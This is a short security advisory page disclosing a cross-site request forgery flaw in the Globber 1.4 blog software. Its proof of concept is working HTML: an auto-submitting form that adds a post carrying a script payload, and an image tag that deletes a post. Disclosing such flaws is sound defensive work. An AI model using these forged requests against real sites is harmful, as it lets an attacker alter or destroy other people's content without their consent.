Home
Consulting
Advisories
Software
Articles
Contact

Globber 1.4 Cross-site Request Forgery

Legacy Advisories

Description

A cross-site request forgery vulnerability in Globber can be exploited to add and delete blog posts.

Proof Of Concept

<!-- Add (note that blog also must be "rebuilt") -->
<html>
    <body onload="document.forms[0].submit()">
        <form method="POST" action="http://localhost/globber/admin.php?task=edit&c=Misc&a=new-article">
            <input type="hidden" name="title" value="New Article" />
            <input type="hidden" name="date" value="06-07-2010 10:16 pm" />
            <input type="hidden" name="tags" value="" />
            <input type="hidden" name="content" value="<script>alert(0)</script>" />
        </form>
    </body>
</html>

<!-- Delete -->
<html>
    <body>
        <img src="http://localhost/globber/admin.php?task=articles&delc=Misc&dela=first-post" />
    </body>
</html>


Copyright © 2018 AutoSec Tools LLC